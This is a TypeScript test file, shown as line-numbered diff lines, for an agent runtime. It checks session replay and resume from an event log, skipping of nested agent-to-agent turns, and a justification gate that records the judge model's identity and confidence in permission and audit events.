// turnNumber the loop incremented.
|
|
1299
|
-
const file = join(SHARED_SESSION_ROOT, `${ctx.sessionId}.json`);
|
|
1300
|
-
const { readFile } = await import("node:fs/promises");
|
|
1301
|
-
const json = JSON.parse(await readFile(file, "utf8"));
|
|
1302
|
-
expect(json.id).toBe(ctx.sessionId);
|
|
1303
|
-
expect(json.name).toBe("spec-name");
|
|
1304
|
-
expect(json.target).toBe("cli");
|
|
1305
|
-
expect(json.model).toBe("test-model");
|
|
1306
|
-
expect(json.lastTurnIndex).toBe(ctx.turnNumber);
|
|
1307
|
-
expect(json.lastTurnIndex).toBeGreaterThanOrEqual(1);
|
|
1308
|
-
});
|
|
1309
|
-
|
|
1310
|
-
test("replayMessageHistory skips events bracketed by a2a_turn / sub_agent markers", async () => {
|
|
1311
|
-
// The parent role's tool_use (e.g. SendMessage) followed by the
|
|
1312
|
-
// peer's nested transcript would otherwise produce an unpaired
|
|
1313
|
-
// tool_use in the replayed history — Claude API rejects with
|
|
1314
|
-
// `tool_use ids were found without tool_result blocks immediately
|
|
1315
|
-
// after`. The marker pair lets replay skip the peer's events while
|
|
1316
|
-
// keeping the parent's tool_use / tool_result adjacent.
|
|
1317
|
-
const sessionId = "sess_bbbbbbbbbbbbbbbb";
|
|
1318
|
-
const { openEventLog } = await import("@crewhaus/event-log");
|
|
1319
|
-
const log = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1320
|
-
// Parent emits a tool_use SendMessage in an assistant message.
|
|
1321
|
-
await log.append({ kind: "user_message", payload: { content: "begin" } });
|
|
1322
|
-
await log.append({
|
|
1323
|
-
kind: "assistant_message",
|
|
1324
|
-
payload: {
|
|
1325
|
-
content: [
|
|
1326
|
-
{
|
|
1327
|
-
type: "tool_use",
|
|
1328
|
-
id: "tu_send",
|
|
1329
|
-
name: "SendMessage",
|
|
1330
|
-
input: { target: "critic", payload: "q?" },
|
|
1331
|
-
},
|
|
1332
|
-
],
|
|
1333
|
-
},
|
|
1334
|
-
});
|
|
1335
|
-
// A2A peer turn starts → these user/assistant events must be skipped.
|
|
1336
|
-
await log.append({ kind: "a2a_turn_start", payload: { from: "writer", to: "critic" } });
|
|
1337
|
-
await log.append({
|
|
1338
|
-
kind: "user_message",
|
|
1339
|
-
payload: { content: "[A2A from writer → critic]\n\nq?" },
|
|
1340
|
-
});
|
|
1341
|
-
await log.append({
|
|
1342
|
-
kind: "assistant_message",
|
|
1343
|
-
payload: { content: [{ type: "text", text: "critic answer", citations: null }] },
|
|
1344
|
-
});
|
|
1345
|
-
await log.append({ kind: "a2a_turn_end", payload: { from: "writer", to: "critic" } });
|
|
1346
|
-
// Parent receives the SendMessage tool_result.
|
|
1347
|
-
await log.append({
|
|
1348
|
-
kind: "user_message",
|
|
1349
|
-
payload: {
|
|
1350
|
-
content: [
|
|
1351
|
-
{
|
|
1352
|
-
type: "tool_result",
|
|
1353
|
-
tool_use_id: "tu_send",
|
|
1354
|
-
content: "critic answer",
|
|
1355
|
-
is_error: false,
|
|
1356
|
-
},
|
|
1357
|
-
],
|
|
1358
|
-
},
|
|
1359
|
-
});
|
|
1360
|
-
await log.append({
|
|
1361
|
-
kind: "assistant_message",
|
|
1362
|
-
payload: { content: [{ type: "text", text: "final from writer", citations: null }] },
|
|
1363
|
-
});
|
|
1364
|
-
await log.close();
|
|
1365
|
-
|
|
1366
|
-
const reopened = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1367
|
-
const replayed = await replayMessageHistory(reopened);
|
|
1368
|
-
await reopened.close();
|
|
1369
|
-
|
|
1370
|
-
// 4 messages: user "begin", assistant (tool_use), user (tool_result), assistant (final).
|
|
1371
|
-
// Peer's user/assistant in the middle are skipped.
|
|
1372
|
-
expect(replayed.length).toBe(4);
|
|
1373
|
-
expect(replayed[0]).toEqual({ role: "user", content: "begin" });
|
|
1374
|
-
expect(replayed[1]?.role).toBe("assistant");
|
|
1375
|
-
const block1 = (replayed[1]?.content as Anthropic.ContentBlock[])[0] as { type: string };
|
|
1376
|
-
expect(block1?.type).toBe("tool_use");
|
|
1377
|
-
expect(replayed[2]?.role).toBe("user");
|
|
1378
|
-
const block2 = (replayed[2]?.content as Anthropic.ToolResultBlockParam[])[0];
|
|
1379
|
-
expect(block2?.type).toBe("tool_result");
|
|
1380
|
-
expect(block2?.tool_use_id).toBe("tu_send");
|
|
1381
|
-
expect(replayed[3]?.role).toBe("assistant");
|
|
1382
|
-
});
|
|
1383
|
-
|
|
1384
|
-
test("replayMessageHistory tolerates nested a2a brackets (peer of a peer)", async () => {
|
|
1385
|
-
// If a peer's inline runChatLoop itself drives another A2A call,
|
|
1386
|
-
// the markers nest. Depth-counting keeps any nesting level skipped
|
|
1387
|
-
// until the outermost a2a_turn_end is seen.
|
|
1388
|
-
const sessionId = "sess_cccccccccccccccc";
|
|
1389
|
-
const { openEventLog } = await import("@crewhaus/event-log");
|
|
1390
|
-
const log = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1391
|
-
await log.append({ kind: "user_message", payload: { content: "outer" } });
|
|
1392
|
-
await log.append({ kind: "a2a_turn_start", payload: { from: "a", to: "b" } });
|
|
1393
|
-
await log.append({ kind: "user_message", payload: { content: "level-1" } });
|
|
1394
|
-
await log.append({ kind: "a2a_turn_start", payload: { from: "b", to: "c" } });
|
|
1395
|
-
await log.append({ kind: "user_message", payload: { content: "level-2" } });
|
|
1396
|
-
await log.append({
|
|
1397
|
-
kind: "assistant_message",
|
|
1398
|
-
payload: { content: [{ type: "text", text: "level-2 reply", citations: null }] },
|
|
1399
|
-
});
|
|
1400
|
-
await log.append({ kind: "a2a_turn_end", payload: { from: "b", to: "c" } });
|
|
1401
|
-
await log.append({
|
|
1402
|
-
kind: "assistant_message",
|
|
1403
|
-
payload: { content: [{ type: "text", text: "level-1 reply", citations: null }] },
|
|
1404
|
-
});
|
|
1405
|
-
await log.append({ kind: "a2a_turn_end", payload: { from: "a", to: "b" } });
|
|
1406
|
-
await log.append({
|
|
1407
|
-
kind: "assistant_message",
|
|
1408
|
-
payload: { content: [{ type: "text", text: "outer reply", citations: null }] },
|
|
1409
|
-
});
|
|
1410
|
-
await log.close();
|
|
1411
|
-
|
|
1412
|
-
const reopened = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1413
|
-
const replayed = await replayMessageHistory(reopened);
|
|
1414
|
-
await reopened.close();
|
|
1415
|
-
|
|
1416
|
-
// Only the outer user message and outer assistant reply survive.
|
|
1417
|
-
expect(replayed.length).toBe(2);
|
|
1418
|
-
expect(replayed[0]).toEqual({ role: "user", content: "outer" });
|
|
1419
|
-
expect(replayed[1]?.role).toBe("assistant");
|
|
1420
|
-
});
|
|
1421
|
-
|
|
1422
|
-
test("T4 replay: replayMessageHistory rebuilds an identical history from the JSONL", async () => {
|
|
1423
|
-
// Hand-craft a 4-message transcript via direct event-log appends so
|
|
1424
|
-
// the replay algorithm is exercised in isolation. tool_use /
|
|
1425
|
-
// tool_result events are interleaved as audit-only and must NOT
|
|
1426
|
-
// contribute to the reconstructed message history.
|
|
1427
|
-
const sessionId = "sess_aaaaaaaaaaaaaaaa";
|
|
1428
|
-
const { openEventLog } = await import("@crewhaus/event-log");
|
|
1429
|
-
const log = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1430
|
-
await log.append({ kind: "user_message", payload: { content: "ping 1" } });
|
|
1431
|
-
await log.append({
|
|
1432
|
-
kind: "assistant_message",
|
|
1433
|
-
payload: { content: [{ type: "text", text: "pong 1", citations: null }] },
|
|
1434
|
-
});
|
|
1435
|
-
await log.append({ kind: "tool_use", payload: { id: "tu_1", name: "noop", input: {} } });
|
|
1436
|
-
await log.append({
|
|
1437
|
-
kind: "tool_result",
|
|
1438
|
-
payload: { toolUseId: "tu_1", content: "ok", isError: false },
|
|
1439
|
-
});
|
|
1440
|
-
await log.append({ kind: "user_message", payload: { content: "ping 2" } });
|
|
1441
|
-
await log.append({
|
|
1442
|
-
kind: "assistant_message",
|
|
1443
|
-
payload: { content: [{ type: "text", text: "pong 2", citations: null }] },
|
|
1444
|
-
});
|
|
1445
|
-
await log.append({ kind: "error", payload: { name: "Whatever", message: "transient" } });
|
|
1446
|
-
await log.close();
|
|
1447
|
-
|
|
1448
|
-
const reopened = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1449
|
-
const replayed = await replayMessageHistory(reopened);
|
|
1450
|
-
await reopened.close();
|
|
1451
|
-
|
|
1452
|
-
expect(replayed.length).toBe(4);
|
|
1453
|
-
expect(replayed[0]).toEqual({ role: "user", content: "ping 1" });
|
|
1454
|
-
expect(replayed[1]?.role).toBe("assistant");
|
|
1455
|
-
expect((replayed[1]?.content as Anthropic.ContentBlock[])[0]?.type).toBe("text");
|
|
1456
|
-
expect(replayed[2]).toEqual({ role: "user", content: "ping 2" });
|
|
1457
|
-
expect(replayed[3]?.role).toBe("assistant");
|
|
1458
|
-
});
|
|
1459
|
-
|
|
1460
|
-
test("--resume threads the prior transcript into the next model call", async () => {
|
|
1461
|
-
// Run A: one user→assistant turn, persisted to its session file.
|
|
1462
|
-
const ctxA = createRunContext();
|
|
1463
|
-
const recorded = makeScriptedClient([
|
|
1464
|
-
[{ type: "text", text: "answer-1", citations: null } as Anthropic.TextBlock],
|
|
1465
|
-
]);
|
|
1466
|
-
const inputA = new PassThrough();
|
|
1467
|
-
inputA.write("first message\n");
|
|
1468
|
-
inputA.end();
|
|
1469
|
-
await runChatLoop({
|
|
1470
|
-
model: "test-model",
|
|
1471
|
-
instructions: "test",
|
|
1472
|
-
_adapter: recorded.adapter,
|
|
1473
|
-
input: inputA,
|
|
1474
|
-
runContext: ctxA,
|
|
1475
|
-
});
|
|
1476
|
-
|
|
1477
|
-
// Run B: resume the same session, send one more user message. The
|
|
1478
|
-
// model's first call must see [user1, assistant1, user2] — proving
|
|
1479
|
-
// event-log replay reconstructed history and the runtime threaded
|
|
1480
|
-
// it into messages BEFORE pushing the new user input.
|
|
1481
|
-
const sessionId = ctxA.sessionId;
|
|
1482
|
-
const resumed = makeScriptedClient([
|
|
1483
|
-
[{ type: "text", text: "answer-2", citations: null } as Anthropic.TextBlock],
|
|
1484
|
-
]);
|
|
1485
|
-
const ctxB = createRunContext({ sessionId });
|
|
1486
|
-
const inputB = new PassThrough();
|
|
1487
|
-
inputB.write("second message\n");
|
|
1488
|
-
inputB.end();
|
|
1489
|
-
await runChatLoop({
|
|
1490
|
-
model: "test-model",
|
|
1491
|
-
instructions: "test",
|
|
1492
|
-
_adapter: resumed.adapter,
|
|
1493
|
-
input: inputB,
|
|
1494
|
-
runContext: ctxB,
|
|
1495
|
-
resume: { sessionId },
|
|
1496
|
-
});
|
|
1497
|
-
|
|
1498
|
-
const firstCall = resumed.capturedMessages()[0] ?? [];
|
|
1499
|
-
expect(firstCall.length).toBe(3);
|
|
1500
|
-
expect(firstCall[0]?.role).toBe("user");
|
|
1501
|
-
expect(firstCall[0]?.content).toBe("first message");
|
|
1502
|
-
expect(firstCall[1]?.role).toBe("assistant");
|
|
1503
|
-
expect(firstCall[2]?.role).toBe("user");
|
|
1504
|
-
expect(firstCall[2]?.content).toBe("second message");
|
|
1505
|
-
});
|
|
1506
|
-
|
|
1507
|
-
test("--resume on a missing session throws RuntimeError", async () => {
|
|
1508
|
-
const { adapter } = makeScriptedClient([]);
|
|
1509
|
-
const input = new PassThrough();
|
|
1510
|
-
input.end();
|
|
1511
|
-
await expect(
|
|
1512
|
-
runChatLoop({
|
|
1513
|
-
model: "test-model",
|
|
1514
|
-
instructions: "test",
|
|
1515
|
-
_adapter: adapter,
|
|
1516
|
-
input,
|
|
1517
|
-
resume: { sessionId: "sess_0000000000000000" },
|
|
1518
|
-
}),
|
|
1519
|
-
).rejects.toThrow(/cannot --resume/);
|
|
1520
|
-
});
|
|
1521
|
-
|
|
1522
|
-
test("rejects resume + seedMessages combo as mutually exclusive in REPL mode", async () => {
|
|
1523
|
-
const { adapter } = makeScriptedClient([]);
|
|
1524
|
-
await expect(
|
|
1525
|
-
runChatLoop({
|
|
1526
|
-
model: "test-model",
|
|
1527
|
-
instructions: "test",
|
|
1528
|
-
_adapter: adapter,
|
|
1529
|
-
input: new PassThrough(),
|
|
1530
|
-
resume: { sessionId: "sess_0000000000000000" },
|
|
1531
|
-
seedMessages: [{ role: "user", content: "hi" }],
|
|
1532
|
-
}),
|
|
1533
|
-
).rejects.toThrow(/mutually exclusive/);
|
|
1534
|
-
});
|
|
1535
|
-
|
|
1536
|
-
// Section 12 — channel-bot session router uses singleTurn + resume to
|
|
1537
|
-
// "resume the thread, append the inbound message, run one turn". Verifies
|
|
1538
|
-
// (a) the model receives prior history + new seed, and (b) the event log
|
|
1539
|
-
// gains exactly the new turn's messages — replayed history is NOT re-logged.
|
|
1540
|
-
test("singleTurn + resume threads prior history without re-logging", async () => {
|
|
1541
|
-
// Run A: one REPL turn, persisted to its session.
|
|
1542
|
-
const ctxA = createRunContext();
|
|
1543
|
-
const recordedA = makeScriptedClient([
|
|
1544
|
-
[{ type: "text", text: "reply-1", citations: null } as Anthropic.TextBlock],
|
|
1545
|
-
]);
|
|
1546
|
-
const inputA = new PassThrough();
|
|
1547
|
-
inputA.write("first\n");
|
|
1548
|
-
inputA.end();
|
|
1549
|
-
await runChatLoop({
|
|
1550
|
-
model: "test-model",
|
|
1551
|
-
instructions: "test",
|
|
1552
|
-
_adapter: recordedA.adapter,
|
|
1553
|
-
input: inputA,
|
|
1554
|
-
runContext: ctxA,
|
|
1555
|
-
});
|
|
1556
|
-
|
|
1557
|
-
const { openEventLog } = await import("@crewhaus/event-log");
|
|
1558
|
-
const beforeLog = await openEventLog(ctxA.sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1559
|
-
const beforeEvents: Array<{ kind: string }> = [];
|
|
1560
|
-
for await (const ev of beforeLog.read()) beforeEvents.push({ kind: ev.kind });
|
|
1561
|
-
await beforeLog.close();
|
|
1562
|
-
const beforeUser = beforeEvents.filter((e) => e.kind === "user_message").length;
|
|
1563
|
-
const beforeAsst = beforeEvents.filter((e) => e.kind === "assistant_message").length;
|
|
1564
|
-
expect(beforeUser).toBe(1);
|
|
1565
|
-
expect(beforeAsst).toBe(1);
|
|
1566
|
-
|
|
1567
|
-
// Run B: singleTurn + resume + new seed (the channel-bot pattern).
|
|
1568
|
-
const sessionId = ctxA.sessionId;
|
|
1569
|
-
const recordedB = makeScriptedClient([
|
|
1570
|
-
[{ type: "text", text: "reply-2", citations: null } as Anthropic.TextBlock],
|
|
1571
|
-
]);
|
|
1572
|
-
const ctxB = createRunContext({ sessionId });
|
|
1573
|
-
const reply = await runChatLoop({
|
|
1574
|
-
model: "test-model",
|
|
1575
|
-
instructions: "test",
|
|
1576
|
-
_adapter: recordedB.adapter,
|
|
1577
|
-
runContext: ctxB,
|
|
1578
|
-
resume: { sessionId },
|
|
1579
|
-
singleTurn: true,
|
|
1580
|
-
seedMessages: [{ role: "user", content: "second" }],
|
|
1581
|
-
});
|
|
1582
|
-
expect(reply).toBe("reply-2");
|
|
1583
|
-
|
|
1584
|
-
// Model received [u1, a1, u2] — replayed prefix + new seed.
|
|
1585
|
-
const firstCall = recordedB.capturedMessages()[0] ?? [];
|
|
1586
|
-
expect(firstCall.length).toBe(3);
|
|
1587
|
-
expect(firstCall[0]?.role).toBe("user");
|
|
1588
|
-
expect(firstCall[0]?.content).toBe("first");
|
|
1589
|
-
expect(firstCall[1]?.role).toBe("assistant");
|
|
1590
|
-
expect(firstCall[2]?.role).toBe("user");
|
|
1591
|
-
expect(firstCall[2]?.content).toBe("second");
|
|
1592
|
-
|
|
1593
|
-
// Event log gained exactly +1 user_message + +1 assistant_message —
|
|
1594
|
-
// replayed messages must not be re-logged.
|
|
1595
|
-
const afterLog = await openEventLog(sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1596
|
-
const afterEvents: Array<{ kind: string }> = [];
|
|
1597
|
-
for await (const ev of afterLog.read()) afterEvents.push({ kind: ev.kind });
|
|
1598
|
-
await afterLog.close();
|
|
1599
|
-
const afterUser = afterEvents.filter((e) => e.kind === "user_message").length;
|
|
1600
|
-
const afterAsst = afterEvents.filter((e) => e.kind === "assistant_message").length;
|
|
1601
|
-
expect(afterUser - beforeUser).toBe(1);
|
|
1602
|
-
expect(afterAsst - beforeAsst).toBe(1);
|
|
1603
|
-
});
|
|
1604
|
-
|
|
1605
|
-
test("event log captures user_message + assistant_message events", async () => {
|
|
1606
|
-
const ctx = createRunContext();
|
|
1607
|
-
const { adapter } = makeScriptedClient([
|
|
1608
|
-
[{ type: "text", text: "thanks", citations: null } as Anthropic.TextBlock],
|
|
1609
|
-
]);
|
|
1610
|
-
const input = new PassThrough();
|
|
1611
|
-
input.write("ping\n");
|
|
1612
|
-
input.end();
|
|
1613
|
-
await runChatLoop({
|
|
1614
|
-
model: "test-model",
|
|
1615
|
-
instructions: "test",
|
|
1616
|
-
_adapter: adapter,
|
|
1617
|
-
input,
|
|
1618
|
-
runContext: ctx,
|
|
1619
|
-
});
|
|
1620
|
-
|
|
1621
|
-
const { openEventLog } = await import("@crewhaus/event-log");
|
|
1622
|
-
const log = await openEventLog(ctx.sessionId, { rootDir: SHARED_SESSION_ROOT });
|
|
1623
|
-
const all: Array<{ kind: string; payload: unknown }> = [];
|
|
1624
|
-
for await (const ev of log.read()) all.push({ kind: ev.kind, payload: ev.payload });
|
|
1625
|
-
await log.close();
|
|
1626
|
-
|
|
1627
|
-
const kinds = all.map((e) => e.kind);
|
|
1628
|
-
expect(kinds).toContain("user_message");
|
|
1629
|
-
expect(kinds).toContain("assistant_message");
|
|
1630
|
-
expect(kinds.indexOf("user_message")).toBeLessThan(kinds.indexOf("assistant_message"));
|
|
1631
|
-
});
|
|
1632
|
-
});
|
|
1633
|
-
|
|
1634
|
-
/**
|
|
1635
|
-
* FR-004 — the justification gate's permission_decision event records the
|
|
1636
|
-
* judge identity (judgeModel) and confidence as first-class fields, not
|
|
1637
|
-
* just embedded in `reason`. This is the runtime surface that backs the
|
|
1638
|
-
* "judge identity recorded" acceptance criterion. A one-turn adapter emits
|
|
1639
|
-
* a tool_use for a `requireJustification: true` tool; an injected
|
|
1640
|
-
* model-backed-style judge makes the assertion deterministic and proves
|
|
1641
|
-
* `opts.justificationJudge` is threaded into the gate.
|
|
1642
|
-
*/
|
|
1643
|
-
function makeJustifiedToolUseAdapter(
|
|
1644
|
-
toolUseId: string,
|
|
1645
|
-
justification: string,
|
|
1646
|
-
): import("@crewhaus/adapter-anthropic").ProviderAdapter {
|
|
1647
|
-
let i = 0;
|
|
1648
|
-
return {
|
|
1649
|
-
providerId: "anthropic",
|
|
1650
|
-
features: {
|
|
1651
|
-
caching: "explicit",
|
|
1652
|
-
tool_use: true,
|
|
1653
|
-
vision: true,
|
|
1654
|
-
thinking: true,
|
|
1655
|
-
web_search: true,
|
|
1656
|
-
},
|
|
1657
|
-
estimateTokens: () => 0,
|
|
1658
|
-
stream: () => {
|
|
1659
|
-
const isFirst = i === 0;
|
|
1660
|
-
i += 1;
|
|
1661
|
-
return (async function* () {
|
|
1662
|
-
yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
|
|
1663
|
-
if (isFirst) {
|
|
1664
|
-
yield {
|
|
1665
|
-
kind: "content_block_start",
|
|
1666
|
-
index: 0,
|
|
1667
|
-
block: { type: "tool_use", id: toolUseId, name: "sendmessage", input: {} },
|
|
1668
|
-
} as const;
|
|
1669
|
-
yield {
|
|
1670
|
-
kind: "content_block_delta",
|
|
1671
|
-
index: 0,
|
|
1672
|
-
delta: {
|
|
1673
|
-
type: "input_json_delta",
|
|
1674
|
-
partial_json: JSON.stringify({ body: "ack", justification }),
|
|
1675
|
-
},
|
|
1676
|
-
} as const;
|
|
1677
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
1678
|
-
yield {
|
|
1679
|
-
kind: "message_delta",
|
|
1680
|
-
stopReason: "tool_use",
|
|
1681
|
-
usage: { input: 10, output: 5 },
|
|
1682
|
-
} as const;
|
|
1683
|
-
} else {
|
|
1684
|
-
yield {
|
|
1685
|
-
kind: "content_block_start",
|
|
1686
|
-
index: 0,
|
|
1687
|
-
block: { type: "text", text: "" },
|
|
1688
|
-
} as const;
|
|
1689
|
-
yield {
|
|
1690
|
-
kind: "content_block_delta",
|
|
1691
|
-
index: 0,
|
|
1692
|
-
delta: { type: "text_delta", text: "done" },
|
|
1693
|
-
} as const;
|
|
1694
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
1695
|
-
yield {
|
|
1696
|
-
kind: "message_delta",
|
|
1697
|
-
stopReason: "end_turn",
|
|
1698
|
-
usage: { input: 10, output: 5 },
|
|
1699
|
-
} as const;
|
|
1700
|
-
}
|
|
1701
|
-
yield { kind: "message_stop" } as const;
|
|
1702
|
-
})();
|
|
1703
|
-
},
|
|
1704
|
-
};
|
|
1705
|
-
}
|
|
1706
|
-
|
|
1707
|
-
describe("runChatLoop justification gate (FR-004)", () => {
|
|
1708
|
-
test("permission_decision event carries judgeModel + justificationConfidence", async () => {
|
|
1709
|
-
const sendMessage = buildTool({
|
|
1710
|
-
name: "sendmessage",
|
|
1711
|
-
description: "send a message (justification-gated)",
|
|
1712
|
-
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1713
|
-
requireJustification: true,
|
|
1714
|
-
execute: async () => "sent",
|
|
1715
|
-
});
|
|
1716
|
-
|
|
1717
|
-
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1718
|
-
allow: true,
|
|
1719
|
-
reason: "consistent with the session goal",
|
|
1720
|
-
confidence: 0.77,
|
|
1721
|
-
judgeModel: "claude-haiku-4-5",
|
|
1722
|
-
});
|
|
1723
|
-
|
|
1724
|
-
const runContext = createRunContext();
|
|
1725
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
1726
|
-
runContext.eventBus.subscribe((e) => {
|
|
1727
|
-
seen.push(e);
|
|
1728
|
-
});
|
|
1729
|
-
|
|
1730
|
-
await runChatLoop({
|
|
1731
|
-
model: "test-model",
|
|
1732
|
-
instructions: "Acknowledge support tickets the user points you at.",
|
|
1733
|
-
_adapter: makeJustifiedToolUseAdapter(
|
|
1734
|
-
"toolu_just",
|
|
1735
|
-
"acknowledge the user's ticket per the goal",
|
|
1736
|
-
),
|
|
1737
|
-
runContext,
|
|
1738
|
-
singleTurn: true,
|
|
1739
|
-
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1740
|
-
tools: [sendMessage],
|
|
1741
|
-
permissionMode: "bypass",
|
|
1742
|
-
justificationJudge: judge,
|
|
1743
|
-
});
|
|
1744
|
-
|
|
1745
|
-
// The tool yields TWO permission_decision events: the general
|
|
1746
|
-
// permission-mode check (no judge fields) and the justification gate.
|
|
1747
|
-
// Select the gate's event by its `justification:` reason prefix.
|
|
1748
|
-
const decision = seen.find(
|
|
1749
|
-
(
|
|
1750
|
-
e,
|
|
1751
|
-
): e is Extract<
|
|
1752
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
1753
|
-
{ kind: "permission_decision" }
|
|
1754
|
-
> =>
|
|
1755
|
-
e.kind === "permission_decision" &&
|
|
1756
|
-
e.toolName === "sendmessage" &&
|
|
1757
|
-
(e.reason?.startsWith("justification:") ?? false),
|
|
1758
|
-
);
|
|
1759
|
-
expect(decision).toBeDefined();
|
|
1760
|
-
expect(decision?.decision).toBe("allow");
|
|
1761
|
-
// Judge identity promoted to first-class fields (the audit criterion).
|
|
1762
|
-
expect(decision?.judgeModel).toBe("claude-haiku-4-5");
|
|
1763
|
-
expect(decision?.justificationConfidence).toBe(0.77);
|
|
1764
|
-
// The model id is also still discoverable in reason for back-compat.
|
|
1765
|
-
expect(decision?.reason).toContain("[judge=claude-haiku-4-5]");
|
|
1766
|
-
});
|
|
1767
|
-
|
|
1768
|
-
test("falls back to ruleBasedJustificationJudge when no judge is supplied", async () => {
|
|
1769
|
-
const sendMessage = buildTool({
|
|
1770
|
-
name: "sendmessage",
|
|
1771
|
-
description: "send a message (justification-gated)",
|
|
1772
|
-
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1773
|
-
requireJustification: true,
|
|
1774
|
-
execute: async () => "sent",
|
|
1775
|
-
});
|
|
1776
|
-
|
|
1777
|
-
const runContext = createRunContext();
|
|
1778
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
1779
|
-
runContext.eventBus.subscribe((e) => {
|
|
1780
|
-
seen.push(e);
|
|
1781
|
-
});
|
|
1782
|
-
|
|
1783
|
-
await runChatLoop({
|
|
1784
|
-
model: "test-model",
|
|
1785
|
-
instructions: "Acknowledge support tickets the user points you at.",
|
|
1786
|
-
_adapter: makeJustifiedToolUseAdapter(
|
|
1787
|
-
"toolu_rb",
|
|
1788
|
-
"acknowledge the user's support ticket per the session goal",
|
|
1789
|
-
),
|
|
1790
|
-
runContext,
|
|
1791
|
-
singleTurn: true,
|
|
1792
|
-
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1793
|
-
tools: [sendMessage],
|
|
1794
|
-
permissionMode: "bypass",
|
|
1795
|
-
// no justificationJudge => default rule-based judge.
|
|
1796
|
-
});
|
|
1797
|
-
|
|
1798
|
-
// The tool yields TWO permission_decision events: the general
|
|
1799
|
-
// permission-mode check (no judge fields) and the justification gate.
|
|
1800
|
-
// Select the gate's event by its `justification:` reason prefix.
|
|
1801
|
-
const decision = seen.find(
|
|
1802
|
-
(
|
|
1803
|
-
e,
|
|
1804
|
-
): e is Extract<
|
|
1805
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
1806
|
-
{ kind: "permission_decision" }
|
|
1807
|
-
> =>
|
|
1808
|
-
e.kind === "permission_decision" &&
|
|
1809
|
-
e.toolName === "sendmessage" &&
|
|
1810
|
-
(e.reason?.startsWith("justification:") ?? false),
|
|
1811
|
-
);
|
|
1812
|
-
expect(decision).toBeDefined();
|
|
1813
|
-
// The default judge stamps "rule-based" — confirms the unset-opt fallback.
|
|
1814
|
-
expect(decision?.judgeModel).toBe("rule-based");
|
|
1815
|
-
});
|
|
1816
|
-
|
|
1817
|
-
test("appends a durable permission_justification_evaluated record (verbatim payload + judge identity) when an audit sink is configured", async () => {
|
|
1818
|
-
const sendMessage = buildTool({
|
|
1819
|
-
name: "sendmessage",
|
|
1820
|
-
description: "send a message (justification-gated)",
|
|
1821
|
-
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1822
|
-
requireJustification: true,
|
|
1823
|
-
execute: async () => "sent",
|
|
1824
|
-
});
|
|
1825
|
-
|
|
1826
|
-
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1827
|
-
allow: true,
|
|
1828
|
-
reason: "consistent with the session goal",
|
|
1829
|
-
confidence: 0.77,
|
|
1830
|
-
judgeModel: "claude-haiku-4-5",
|
|
1831
|
-
});
|
|
1832
|
-
|
|
1833
|
-
// In-memory sink that satisfies the JustificationAuditSink seam. Proves
|
|
1834
|
-
// runtime-core appends the documented kind + verbatim payload; the CLI
|
|
1835
|
-
// test exercises the same seam against a real hash-chained @crewhaus/audit-log.
|
|
1836
|
-
const appended: Array<{ kind: string; payload: unknown }> = [];
|
|
1837
|
-
const sink: import("./index").JustificationAuditSink = {
|
|
1838
|
-
async append(input) {
|
|
1839
|
-
appended.push(input);
|
|
1840
|
-
return input;
|
|
1841
|
-
},
|
|
1842
|
-
};
|
|
1843
|
-
|
|
1844
|
-
// A justification that pads goal vocabulary; the model judge allows it.
|
|
1845
|
-
const JUSTIFICATION = "ack the ticket per the support-acknowledgement goal";
|
|
1846
|
-
const runContext = createRunContext();
|
|
1847
|
-
await runChatLoop({
|
|
1848
|
-
model: "test-model",
|
|
1849
|
-
instructions: "Acknowledge support tickets the user points you at.",
|
|
1850
|
-
_adapter: makeJustifiedToolUseAdapter("toolu_audit", JUSTIFICATION),
|
|
1851
|
-
runContext,
|
|
1852
|
-
singleTurn: true,
|
|
1853
|
-
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1854
|
-
tools: [sendMessage],
|
|
1855
|
-
permissionMode: "bypass",
|
|
1856
|
-
justificationJudge: judge,
|
|
1857
|
-
justificationAuditSink: sink,
|
|
1858
|
-
});
|
|
1859
|
-
|
|
1860
|
-
// Exactly one durable record, with the reserved kind.
|
|
1861
|
-
expect(appended).toHaveLength(1);
|
|
1862
|
-
const rec = appended[0];
|
|
1863
|
-
expect(rec?.kind).toBe("permission_justification_evaluated");
|
|
1864
|
-
const payload = rec?.payload as {
|
|
1865
|
-
toolName: string;
|
|
1866
|
-
justification: string;
|
|
1867
|
-
verdict: string;
|
|
1868
|
-
reason: string;
|
|
1869
|
-
judgeModel: string;
|
|
1870
|
-
confidence?: number;
|
|
1871
|
-
};
|
|
1872
|
-
// Judge identity recorded on the DURABLE record (the literal acceptance
|
|
1873
|
-
// criterion: "the permission_justification_evaluated audit kind with the
|
|
1874
|
-
// judge identity recorded").
|
|
1875
|
-
expect(payload.judgeModel).toBe("claude-haiku-4-5");
|
|
1876
|
-
expect(payload.verdict).toBe("allow");
|
|
1877
|
-
expect(payload.toolName).toBe("sendmessage");
|
|
1878
|
-
// Justification stored VERBATIM (the audit-log doc-comment's contract:
|
|
1879
|
-
// "the justification IS the audit artifact"), not a substring of `reason`.
|
|
1880
|
-
expect(payload.justification).toBe(JUSTIFICATION);
|
|
1881
|
-
expect(payload.reason).toBe("consistent with the session goal");
|
|
1882
|
-
expect(payload.confidence).toBe(0.77);
|
|
1883
|
-
});
|
|
1884
|
-
